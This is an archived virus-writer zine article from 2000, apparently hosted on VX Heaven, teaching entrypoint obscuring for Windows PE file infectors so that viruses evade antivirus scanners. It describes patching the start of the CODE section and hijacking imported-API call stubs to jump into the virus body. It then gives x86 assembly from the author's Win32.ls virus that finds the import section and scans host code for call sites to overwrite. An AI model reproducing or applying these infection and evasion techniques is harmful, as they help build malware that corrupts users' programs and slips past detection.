Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

EPO - entrypoint obscuring

mort
Matrix Zine [2]
September 2000

[Back to index] [Comments]

This article is for educational purpose only and I AM NOT responsibille for anything nor my english, nor myself, ...anyway, enjoy it...

xxx

EPO is next of many ways to fuck AVs (at least a litle). The point is, that the entrypoint in PE header will not be overwritten by jump to virus body. This jump must be set somewhere in the 'CODE' section, in the jam of instructions after entrypoint. Problem is, we cant write our jump anywhere we can, coz we could fit in the 'middle' of instruction. Well, the 'we could' expression is not good, better is 'we will probably allways' fit in some instruction. So, we have to find address which wont destroy instruction. There's several ways of EPO now. I'll describe some.

EPO via first bytes in CODE sec

The first one on my mind is overwrite some bytes right on the start of CODE section. By this way we will obscure of 'bad overwriteing' of some instruction, coz the first instruction to execute, after host is loaded, is our one.

  before infection                      after infection

   .------------.                        .------------.
   |     MZ     |                        |     MZ     |
   |    ....    |                        |    ....    |
   |            |                        |            |
   |     PE     |                        |     PE     |
   |    ....    |                        |    ....    |
   | entry-point ---.                    | entry-point ---.
   |    ....    |   |                    |    ....    |   |
    ------------    |                     ------------    |
   |    ....    |   |                    |    ....    |   |
   |-CODE sec.-<----'                 .-<--CODE sec.-<----' jmp to virus
   |   normal   |                     |  |            |
   |    host    |                     |  |            |
   |instructions|                     |  |            |
   |    EOF     |                     |  |    EOF     |
   '------------'                     |  '------------'
                                      '---> virus     |
                                         |    ....    |     
                                         |    EOV     |
                                         '------------'

There neednt be right 'jmp' instruction on the CODE sec. begining, of coz there can be everything u want before it - trash instructions, encryption code, maybe the virus itself. Before return to the host, we recover the saved bytes of host CODE section and jump back.

This method of EPO is used in my aiD virus,...go and check it,...

EPO via import calls

Next way of the 'right overwriting' instructions is with the help of API imported calls. Each windows program use API calls. At least the ExitProcess one. Compilers use standard piece of code to call API funcs. During my work I saw two ways...i know, im lamer (anyway, i read somewhere there're only two...the MASM and the TASM one:))

    the TASM one:                        |  the MASM one:
                                         |     
              push _par1                 |            push _par1
              push _par2                 |            push _par2
               ...                       |             ...
              push _parX                 |            push _parX
                                         |
              call @uncleFuckerAPI       |            call [_Iaddress]
                                         |
    @uncleFuckerAPI:                     |  
              jmp [_Iaddress]            |
                                         |
                                ---------'--------
                       _Iaddress  dd uncleFuckerAPIaddress

Well,after pushing parameters, there's call itself. The first call syntax is: call @uncleFuckerAPI - thats normal call. Bytes syntax is:

                db      0e8h
                dd      (relative between call instruction and calling place)

@uncleFuckerAPI:
                jmp     [_Iaddress]
 

it's call that will jump to address which is stored in _Iaddress variable. Bytes syntax is:

                db      0ffh,025h
                dd      (offset of varriable)
 

The second syntax is done by this way:

Call to API is done by call to address which is stored in _Iaddress var.

call [_Iaddress]

Bytes syntax is:

                db      0ff,015
                dd      (offset of varriable)
 

If we look on both syntax we will see that trought the different syntax they do the same think. It's:

If we found such call, we know right address of it -> we can place our jump to virus without fearing of bad ovewriting some instruction.

  before infection                      after infection

   .------------.                        .------------.
   |     MZ     |                        |     MZ     |
   |    ....    |                        |    ....    |
   |            |                        |            |
   |     PE     |                        |     PE     |
   |    ....    |                        |    ....    |
   | entry-point ---.                    | entry-point ---.
   |    ....    |   |                    |    ....    |   |
    ------------    |                     ------------    |
   |    ....    |   |                    |    ....    |   |
   |-CODE sec.-<----'                    |-CODE sec.-<----' jmp to virus
   |    ....    |                        |    ....    |
   | call ufAPI |                        | call ufAPI |
   |    ....    |                     .-<- jmp virus  |
   |    EOF     |                     |  |    ....    |
   '------------'                     |  |    EOF     |
                                      '--->-----------|
                                         |   virus    |     
                                         |    ....    |
                                         |    EOV     |
                                         '------------'

In the infection we can search for '0e8' bytes and check for call dest. if there is '0ff','25' bytes. Thats enought for the first compilation way.

For the second one we have to know something about _Iaddress variable. It is place in IMPORT section which will be after system if loading the file (eg. our host) filled with right address of API. Before this overwriting this variable contains relative offset to name of API.

Knowing this we will search for '0ff', '15' bytes and then check dword behind. If this dword will fit somewhere to IMPORT section, we won.

I used this EPO method in Win32.ls virus. This virii is continue of this article,...go ahead and check the code...

EPO via metamorphism

Maybe u heard bout metamorphism, anyway if not, thats technik which virii uses to change its whole body. It's done by disasmebly whole virii code to instructions and replace them for more instrucions doing the same thing and of coz some instructions to one, or different call setting and many other similar things, so replace virii code for differrent one, but doing the same thing. Im not familiar with this tex, but i think i reach the point. Anyway if u wanna write something like that u need some disassemble routines and such routines could be nice used for EPO.

xxx

No other way now in my mind (i said im lamer,...). Anyway i think there'll be 'few' more ways of EPO. U can see one way of EPO (checking IMPORT calls) in my win32.ls. Please fell free to write me any comments.

   .
   |\
   | |.--.   -|-.
   | ||  |.--|| |
   |  \  m o r|t .
 .-'-----'\._''--'-.
 '--[MATRiX]-------'
 [[email protected]]
  \\\\\\\\\\\\\\\\\\

some ls code

get IMPORT section address


                ; esi - PE header,edi - MZ
                ...
                mov     edx, [esi + 080h]       ; get import add

                mov     eax, [esi + 074h]
                shl     eax, 3
                xchg    eax, ebx
                movzx   eax, word ptr [esi + 6] ; number of section
                xchg    eax, ecx
                mov     eax, edi
                add     eax, ebx
                add     eax, 078h               ; eax - first section header

@nextSection:
                cmp     [eax + 0ch],edx         ; check if sec's RVA = IMPORT
                jz      @gotIT                  ; we got IMPORT section
                add     eax, 028h
                dec     ecx
                jnz     @nextSection            ; go check next section

@gotIT:
                mov     eax, [eax + 014]        ; get physical offset of IMPORT sec
                add     eax, edi                ; of course - relative,...
                ...
 

scanning CODE section for IMPORT calls - TASM way

                ; edx - CODE section table address
                ; ebx - address of file
                ; [esp + 014h] - IMPORT section RVA

                mov     edi, [edx + 014h]
                add     edi, ebx                ; CODE location
                mov     ecx, [edx + 010h]

                push    _callNum                ; how many calls will be replaced

@nextSearchE8:
                mov     al, 0e8h
                repne scasb                     ; search for call xxxx
                or      ecx, ecx
                jz      @searchDone

                mov     esi, edi

                lodsd                           ; search call relative
                add     esi, eax

                pusha                           ; save register state
                call    @SEHprotect
                mov     esp, [esp + 8]

                pop     dword ptr fs:[0]
                pop     eax                     ; clear stack
                popa                            ; load register state
                jmp     @nextSearchE8
 
@SEHprotect:
                push    dword ptr fs:[0]
                mov     dword ptr fs:[0],esp

                lodsw

                pop     edx                     ; clear stack
                pop     edx

                cmp     ax, 025ffh              ; check if import call
                popa                            ; load actual pointer
                jnz     @nextSearchE8
 
                lodsw                           ; only for adding edi
                lodsd

; now we must check the value in eax if points somewhere in IMPORT
; place
; no -> find new one
; yes -> in this point we have found IMPORT call
; edi points right behind the call

                dec     dword ptr [esp]         ; dec number of calls we want to replace

@notInIMPORT:
                jnz     @nextSearchE8

@searchDone:
 

scanning CODE section for IMPORT calls - MASM way

well, this code is nearly the same like the one before, so i wont waste the space,........

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua